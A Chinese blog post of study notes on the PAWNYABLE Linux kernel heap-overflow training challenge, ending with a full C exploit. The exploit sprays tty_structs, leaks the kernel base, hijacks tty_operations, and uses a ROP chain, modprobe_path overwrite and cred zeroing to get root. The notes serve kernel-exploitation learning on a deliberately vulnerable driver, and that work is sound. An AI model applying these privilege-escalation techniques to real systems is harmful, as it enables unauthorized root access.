PAWNYABLE kernel heap overflow 笔记

kernel heap 结构

slab 的结构虽然之前看过了好多,但是现在再看还是感觉有点迷糊。大概是 slab 上的块是没有 metadata 的,但是释放的时候和使用的时候状态不同,释放的时候会存指针。不过既然 kernel 修改链表指针的操作不像 ptmalloc 这么多,那就不太细看了(

tty structure 用于泄露地址

本题的堆块申请大小是 0x400,和 tty structure 这个结构体申请的大小一样。大小一样的块物理地址可能相邻,所以溢出的时候可能可以复写到。

size:0x2e0 `kmalloc-1024`

内核基址:可泄露。`ops` 指向的 `ptm_unix98_ops`

heap:可泄露。通过 `dev` 和 `driver`,但是未验证属于哪种 SLUB。

stack:似乎不能泄露。

劫持 RIP:可劫持。重写 `ops` 函数表。

产生:open("/dev/ptmx", O_RDWR | O_NOCTTY)

释放:close()

控制 rip

tty structure 有一个 ops 函数表 _tty_operations_,可以把这个 ops 改成一个堆的地址?

struct tty_operations {
    struct tty_struct * (*lookup)(struct tty_driver *driver,
            struct file *filp, int idx);
    int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
    void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
    int  (*open)(struct tty_struct * tty, struct file * filp);
    void (*close)(struct tty_struct * tty, struct file * filp);
    void (*shutdown)(struct tty_struct *tty);
    void (*cleanup)(struct tty_struct *tty);
    int  (*write)(struct tty_struct * tty,
              const unsigned char *buf, int count);
    int  (*put_char)(struct tty_struct *tty, unsigned char ch);
    void (*flush_chars)(struct tty_struct *tty);
    unsigned int (*write_room)(struct tty_struct *tty);
    unsigned int (*chars_in_buffer)(struct tty_struct *tty);
    int  (*ioctl)(struct tty_struct *tty,
            unsigned int cmd, unsigned long arg);
    long (*compat_ioctl)(struct tty_struct *tty,
                 unsigned int cmd, unsigned long arg);
    void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
    void (*throttle)(struct tty_struct * tty);
    void (*unthrottle)(struct tty_struct * tty);
    void (*stop)(struct tty_struct *tty);
    void (*start)(struct tty_struct *tty);
    void (*hangup)(struct tty_struct *tty);
    int (*break_ctl)(struct tty_struct *tty, int state);
    void (*flush_buffer)(struct tty_struct *tty);
    void (*set_ldisc)(struct tty_struct *tty);
    void (*wait_until_sent)(struct tty_struct *tty, int timeout);
    void (*send_xchar)(struct tty_struct *tty, char ch);
    int (*tiocmget)(struct tty_struct *tty);
    int (*tiocmset)(struct tty_struct *tty,
            unsigned int set, unsigned int clear);
    int (*resize)(struct tty_struct *tty, struct winsize *ws);
    int (*get_icount)(struct tty_struct *tty,
                struct serial_icounter_struct *icount);
    int  (*get_serial)(struct tty_struct *tty, struct serial_struct *p);
    int  (*set_serial)(struct tty_struct *tty, struct serial_struct *p);
    void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
#ifdef CONFIG_CONSOLE_POLL
    int (*poll_init)(struct tty_driver *driver, int line, char *options);
    int (*poll_get_char)(struct tty_driver *driver, int line);
    void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
#endif
    int (*proc_show)(struct seq_file *, void *);
} __randomize_layout;

目前位置可以泄露和执行任意一个函数。

#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define LEAK_SIZE 0x500
#define ORI_SIZE 0x400
#define SPREAD_SIZE 0x100
#define OPS_SIZE 0x100

uint64_t kbase;
uint64_t buf_addr;

void print_hex(char *name, uint64_t addr) { printf("%s %" PRIx64 "\n", name, addr); }

int main() {

    char leak[LEAK_SIZE];
    int tty[SPREAD_SIZE];

    for(int i = 0; i < SPREAD_SIZE/2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }

    int fd = open("/dev/holstein", O_RDWR);

    for(int i = 0; i < SPREAD_SIZE/2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }

    read(fd, leak, LEAK_SIZE);

    kbase = *(uint64_t *)(leak + 1048) - 0xc38880;
    buf_addr = *(uint64_t *)(leak + 1080) - 0x438;
    print_hex("kbase", kbase);
    print_hex("buf_addr", buf_addr);

    *(uint64_t *)(leak + 1048) = buf_addr;

    for(int i = 0; i < ORI_SIZE; i=i+8) {
        *(uint64_t *)(leak + i) = 0xaaaaaaa000 + i;
    }

    write(fd, leak, LEAK_SIZE);

    for(int i = 0; i < SPREAD_SIZE; i++) {
        ioctl(tty[i], 0xdeadbeef, 0xcafebabe);
    }

    close(fd);

    return 0;
}

跳转到 ROP 所在

现在能够控制 rip,这就需要提前布置 rop 链子,然后跳转过去。咋做呢?需要找一个 mov rsp, rax 类似的 gadget,(寄存器可控)

可以控制的是 r8、r14,rdx,可以控制一半的是 rsi、rcx、r12

RAX: ffffffff9fe319da RBX: ffff9977c1e2fc00 RCX: 0000000011111111
RDX: 0022222222222222 RSI: 0000000011111111 RDI: ffff9977c1e2f800
RBP: ffffb50400187ea8 R08: 0022222222222222 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000000 R12: 0000000011111111
R13: ffff9977c1e2f800 R14: 0022222222222222 R15: ffff9977c1ea8f00

可以这么用正则表达式来匹配。

^(?=.*pop\s+rsp)(?=.*push\s+(r14|r8)).*$

任意读写操作

如果没有 gadget 控制 rsp 导致 rop,那么能不能直接实现任意读写?任意读写的实现通过这种 gadget

0xffffffff810477f7: mov qword ptr [rdx], rcx; ret;  // 只是写4个字节
0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;  // 任意读, rax 是返回值

怎么找

mov qword ptr \[rdx\], (r8|r14|rdx)
: mov eax, dword ptr \[rdx\]; ret

用这样的 gadget 可以完成每次读取 4 个字节,或者写入 4 个字节

uint32_t aar(uint64_t target) {
    *(uint64_t *)(leak + 1048) = buf_addr;
    *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
    write(fd, leak, LEAK_SIZE);
    ioctl(tty[0], 0, target);
}

void aaw(uint64_t target, uint32_t value) {
    *(uint64_t *)(leak + 1048) = buf_addr;
    *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
    write(fd, leak, LEAK_SIZE);
    ioctl(tty[0], value, target);
}

modprobe_path 修改

Linux 上多种可执行文件格式并存,当执行具有可执行权限的文件时,根据文件开头的字节序列确定格式。默认情况下,会注册 ELF 文件和 shebang,但是当尝试调用与注册格式不匹配的未知可执行文件时,将使用 __request_module 。 modprobe_path 默认为 /sbin/modprobe ,如果您重写它并尝试启动格式不正确的可执行文件,您可以执行任意命令。

注意修改的文件里面要加上 #!/bin/sh\n 才能正常找到路径

void aaw(uint64_t target, uint32_t value) {
    if (tty_fd == -1) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
        write(fd, leak, LEAK_SIZE);
    }

    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], value, target);
            if (rv != -1) {
                tty_fd = i;
            }
        }
    }

    ioctl(tty_fd, value, target);
}

void get_flag() {
    system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb");  // 这里随便写命令
    system("chmod +x /sb");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
}

void modify_modprobe_path() {
    aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb
    get_flag();
}

修改进程的 creds

用 comm 找到 cred structure 然后修改就行


int rw = -1;

uint32_t aar(uint64_t target) {
    if (rw != 1) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 1;
    }

    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], 0, target);
            if (rv != -1) {
                tty_fd = i;
            }
            return rv;
        }
    }

    return ioctl(tty_fd, 0, target);
}

void aaw(uint64_t target, uint32_t value) {
    if (rw != 2) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 2;
    }

    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], value, target);
            if (rv != -1) {
                tty_fd = i;
                return ;
            }
        }
    }

    ioctl(tty_fd, value, target);

}

void attack_cred() {
    prctl(PR_SET_NAME, "giacomo");

    for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) {
        if(aar(addr) == 0x63616967) {
            puts("find comm");
            print_hex("addr", addr);
            cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8);
            print_hex("cred_addr", cred_addr);
        }
    }

    for(uint64_t i = 0; i < 0x20; i += 4) {
        aaw(cred_addr + i, 0);
    }

    system("/bin/sh");
}

此外

一个快速获得 kernel 符号的脚本,extract 然后 vmlinux-to-elf 然后用 pwntools 来找。

from pwn import *
import sys

# get file_name as input
if len(sys.argv) < 2:
    print('Usage: python3 symbols.py <file_name>')
    exit()

file_name = sys.argv[1]
if not os.path.isfile(file_name):
    print(file_name + ' not found!')
    exit()

# deal with file
if not os.path.exists('vmlinux_symbol'):
    os.system('extract.sh ' + file_name + '> vmlinux')
    os.system('vmlinux-to-elf vmlinux vmlinux_symbol')

# get symbols
kbase = 0xffffffff81000000
kernel = ELF('vmlinux_symbol',  checksec=False)

commit_creds = kernel.sym['commit_creds'] - kbase
prepare_kernel_cred = kernel.sym['prepare_kernel_cred'] - kbase
swapgs_restore_regs_and_return_to_usermode = kernel.sym['swapgs_restore_regs_and_return_to_usermode'] - kbase
modprobe_path = next(kernel.search(b"/sbin/modprobe\0")) - kbase

print('commit_creds = ' + hex(commit_creds))
print('prepare_kernel_cred: =' + hex(prepare_kernel_cred))
print('swapgs_restore_regs_and_return_to_usermode = ' + hex(swapgs_restore_regs_and_return_to_usermode))
print('modprobe_path = ' + hex(modprobe_path))

if len(sys.argv) > 3:
    symbol_name = sys.argv[2]
    symbol = kernel.sym[symbol_name] - kbase
    print(symbol_name + ' = ' + hex(symbol))

完整 exp

#include <fcntl.h>
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sys/prctl.h>

#define LEAK_SIZE 0x500
#define ORI_SIZE 0x400
#define SPREAD_SIZE 0x100
#define OPS_SIZE 0x100

char leak[LEAK_SIZE];
int tty[SPREAD_SIZE];

int fd;

int tty_fd = -1;
int rw = -1;

uint64_t kbase;
uint64_t buf_addr;
uint64_t cred_addr;
uint64_t user_cs, user_ss, user_rflags, user_sp;

// 0xffffffff815f7e60: push r8; add dword ptr [rbx + 0x41], ebx; pop rsp; pop
// r13; pop rbp; ret;
uint64_t gadget = 0x5f7e60;
uint64_t pop_rdi_ret = 0x0d748d;
uint64_t pop_rcx_ret = 0x13c1c4;
uint64_t mov_rdi_rax_ret = 0x62707b;
uint64_t prepare_kernel_cred = 0x74650;
uint64_t commit_creds = 0x744b0;
uint64_t srrartu = 0x800e10 + 22;
uint64_t mov_rdx_rcx = 0x477f7;
uint64_t mov_eax_rdx = 0x18a285;
uint64_t modprobe_path = 0xe38180;

void print_hex(char *name, uint64_t addr) {
    printf("%s %" PRIx64 "\n", name, addr);
}

void print_hex32(char *name, uint32_t addr) {
    printf("%s %" PRIx32 "\n", name, addr);
}

void binsh() {
    puts("get shell");
    char *argv[] = {"/bin/sh", NULL};
    char *envp[] = {NULL};
    execve("/bin/sh", argv, envp);
}

void rop() {
    *(uint64_t *)(leak + 1048) = buf_addr;
    *(uint64_t *)(leak + 0x60) = gadget + kbase;

    uint64_t rop_chain[] = {pop_rdi_ret + kbase,
                            0,
                            prepare_kernel_cred + kbase,
                            pop_rcx_ret + kbase,
                            0,
                            mov_rdi_rax_ret + kbase,
                            commit_creds + kbase,
                            srrartu + kbase,
                            0x1,
                            0x2,
                            (uint64_t)&binsh,
                            user_cs,
                            user_rflags,
                            user_sp,
                            user_ss};

    memcpy(leak + 0x80, rop_chain, sizeof(rop_chain));
    write(fd, leak, LEAK_SIZE);
    for (int i = 0; i < SPREAD_SIZE; i++) {
        ioctl(tty[i], buf_addr + 0x70, buf_addr + 0x70);
    }
}

uint32_t aar(uint64_t target) {
    if (rw != 1) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_eax_rdx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 1;
    }

    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], 0, target);
            if (rv != -1) {
                tty_fd = i;
            }
            return rv;
        }
    }

    return ioctl(tty_fd, 0, target);
}

void aaw(uint64_t target, uint32_t value) {
    if (rw != 2) {
        *(uint64_t *)(leak + 1048) = buf_addr;
        *(uint64_t *)(leak + 0x60) = mov_rdx_rcx + kbase;
        write(fd, leak, LEAK_SIZE);
        rw = 2;
    }

    if (tty_fd = -1) {
        for (int i = 0; i < SPREAD_SIZE; i++) {
            int rv = ioctl(tty[i], value, target);
            if (rv != -1) {
                tty_fd = i;
                return ;
            }
        }
    }

    ioctl(tty_fd, value, target);

}

void save_status() {
    asm("movq %%cs, %0\n\t"
        "movq %%ss, %1\n\t"
        "movq %%rsp, %3\n\t"
        "pushfq\n\t"
        "popq %2\n\t"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        : // no input
        : "memory");
}

void leak_addr() {
    read(fd, leak, LEAK_SIZE);

    kbase = *(uint64_t *)(leak + 1048) - 0xc38880;
    buf_addr = *(uint64_t *)(leak + 1080) - 0x438;
    print_hex("kbase", kbase);
    print_hex("buf_addr", buf_addr);
    print_hex("gadget", gadget + kbase);
    print_hex("mov_rdx_rcx", mov_rdx_rcx + kbase);
    print_hex("modprobe_path", modprobe_path + kbase);
}

void get_flag() {
    system("echo -e '#!/bin/sh\nchmod 777 /flag' > /sb");
    system("chmod +x /sb");
    system("echo -ne '\xff\xff\xff\xff' > /tmp/dummy");
    system("chmod +x /tmp/dummy");
    system("/tmp/dummy");
}

void modify_modprobe_path() {
    aaw(modprobe_path + kbase, 0x62732f); // change /sbin/modprobe to /sb
    get_flag();
}

void attack_cred() {
    prctl(PR_SET_NAME, "giacomo");

    for(uint64_t addr = buf_addr - 0x500000; addr > buf_addr - 0x600000; addr -= 4) {
        if(aar(addr) == 0x63616967) {
            puts("find comm");
            print_hex("addr", addr);
            cred_addr = (((uint64_t)aar(addr-4))<< 32) + aar(addr-8);
            print_hex("cred_addr", cred_addr);
        }
    }

    for(uint64_t i = 0; i < 0x20; i += 4) {
        aaw(cred_addr + i, 0);
    }

    system("/bin/sh");
}

int main() {
    save_status();

    for (int i = 0; i < SPREAD_SIZE / 2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }

    fd = open("/dev/holstein", O_RDWR);

    for (int i = 0; i < SPREAD_SIZE / 2; i++) {
        tty[i] = open("/dev/ptmx", O_RDWR | O_NOCTTY);
    }

    leak_addr();

    getchar();

    // rop();

    // modify_modprobe_path();

    attack_cred();

    getchar();

    close(fd);

    return 0;
}
posted @ 2024-12-05 09:27  giacomo捏  阅读(4)  评论(0编辑  收藏  举报